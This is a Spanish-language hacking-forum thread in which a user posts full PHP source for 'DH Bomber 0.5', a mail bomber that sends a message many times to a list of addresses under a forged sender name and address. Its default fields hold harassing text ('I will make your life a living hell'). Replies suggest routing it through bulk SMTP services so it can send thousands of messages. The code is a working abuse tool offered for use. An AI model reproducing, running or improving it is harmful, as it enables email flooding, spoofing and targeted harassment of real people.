Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: BigBear en 14 Noviembre 2014, 14:30 pm



Título: [PHP] DH Bomber 0.5
Publicado por: BigBear en 14 Noviembre 2014, 14:30 pm
Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :

(http://doddyhackman.webcindario.com/images/dhbomber05.jpg)

El codigo :

Código
  1. <?php
  2.  
  3. // DH Bomber 0.5
  4. // (C) Doddy Hackman 2014
  5.  
  6. echo '
  7. <style type="text/css">
  8.  
  9.  
  10. .main {
  11. margin : -287px 0px 0px -490px;
  12. border : White solid 1px;
  13. BORDER-COLOR: #ffffff;
  14. }
  15.  
  16.  
  17. #pie {
  18. position: absolute;
  19. bottom: 0;
  20. }
  21.  
  22. body,a:link {
  23. background-color: #000000;
  24. color:#ffffff;
  25. Courier New;
  26. cursor:crosshair;
  27. font-size: small;
  28. }
  29.  
  30. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  31. font: normal 10px Verdana, Arial, Helvetica,
  32. sans-serif;
  33. background-color:black;color:#ffffff;
  34. border: solid 1px #ffffff;
  35. border-color:#ffffff
  36. }
  37.  
  38. a:link,a:visited,a:active {
  39. color: #ffffff;
  40. font: normal 10px Verdana, Arial, Helvetica,
  41. sans-serif;
  42. text-decoration: none;
  43. }
  44.  
  45. </style>';
  46.  
  47. echo "<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";
  48.  
  49. echo '<center><h1>-- == DH Bomber 0.5 == --</h1></center>
  50. <center>
  51. <br>';
  52.  
  53. if (isset($_POST['bombers'])) {
  54.  
  55.    $cantidad_bien = 0;
  56.    $cantidad_mal  = 0;
  57.  
  58.    $need = "";
  59.    $i    = "";
  60.    $need .= "MIME-Version: 1.0\n";
  61.    $need .= "Content-type: text/html ; charset=iso-8859-1\n";
  62.    $need .= "MIME-Version: 1.0\n";
  63.    $need .= "From: " . $_POST['nombrefalso'] . " <" . $_POST['falso'] . ">\n";
  64.    $need .= "To: " . $_POST['nombrefalso'] . "<" . $_POST['falso'] . ">\n";
  65.    $need .= "Reply-To:" . $_POST['falso'] . "\n";
  66.    $need .= "X-Priority: 1\n";
  67.    $need .= "X-MSMail-Priority:Hight\n";
  68.    $need .= "X-Mailer:Widgets.com Server";
  69.  
  70.    echo "
  71. <table border=1>
  72. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" . ">Console</a></h2></center></td><tr>
  73. <td><fieldset>\n\n";
  74.  
  75.    $leyendo_mailist = explode("\n", trim($_POST['mailist']));
  76.    $mails           = array_filter($leyendo_mailist, 'trim');
  77.  
  78.    foreach ($mails as $mail) {
  79.        for ($i = 1; $i <= $_POST['count']; $i++) {
  80.            if (@mail($mail, $_POST['asunto'], $_POST['mensaje'], $need)) {
  81.                $cantidad_bien++;
  82.                echo "[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
  83.                flush();
  84.            } else {
  85.                echo "[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
  86.                $cantidad_mal++;
  87.            }
  88.        }
  89.        echo "<br>";
  90.    }
  91.  
  92.    echo "<font color=#00FF00>[" . $cantidad_bien . "]</font> mails sent <font color=#00FF00>successfully</font>";
  93.    echo "<br><font color=red>[" . $cantidad_mal . "]</font> mails sent <font color=red>failed</font>";
  94.  
  95.    echo "</fieldset></td></table>";
  96.  
  97.    if ($cantidad_bien == 0) {
  98.        echo "<script>alert('Mails Not Send')</script>";
  99.    } else {
  100.        //echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
  101.    }
  102.  
  103. } else {
  104.    echo '
  105. <form action="" method="POST">
  106. <table border="1">
  107. <tr>
  108. <td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="lagarto@juancho.com" size="44" type="text"></td></tr><tr>
  109. <td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
  110. <td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
  111. <td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
  112. <td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">ihateyou@hotmail.com</textarea></td></tr><tr>
  113. <td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
  114. </tr></tbody></table><br><br>
  115. <input name="bombers" value="Send" type="submit">
  116. </form>';
  117. }
  118.  
  119. echo '
  120. <br>
  121. <h1>-- == (C) Doddy Hackman 2014 == --</h1>
  122. </center>';
  123.  
  124. // The End ?
  125.  
  126. ?>
  127.  


Título: Re: [PHP] DH Bomber 0.5
Publicado por: Graphixx en 14 Noviembre 2014, 16:12 pm
Considera ponerle un servicio SMTP como el de sendgrid.com o http://www.serversmtp.com/ Asi podra enviar miles.


Título: Re: [PHP] DH Bomber 0.5
Publicado por: Shell Root en 14 Noviembre 2014, 19:21 pm
Eso aun se usa  :-X


Título: Re: [PHP] DH Bomber 0.5
Publicado por: BigBear en 14 Noviembre 2014, 21:43 pm
Considera ponerle un servicio SMTP como el de sendgrid.com o http://www.serversmtp.com/ Asi podra enviar miles.

ok , gracias por las sugerencias.


Título: Re: [PHP] DH Bomber 0.5
Publicado por: Graphixx en 14 Noviembre 2014, 22:31 pm
Bastante logrado el script, te felicito, echale una ojeada a PHPMailer tambien http://phpmailer.worxware.com/ capaz y repotencializas el script.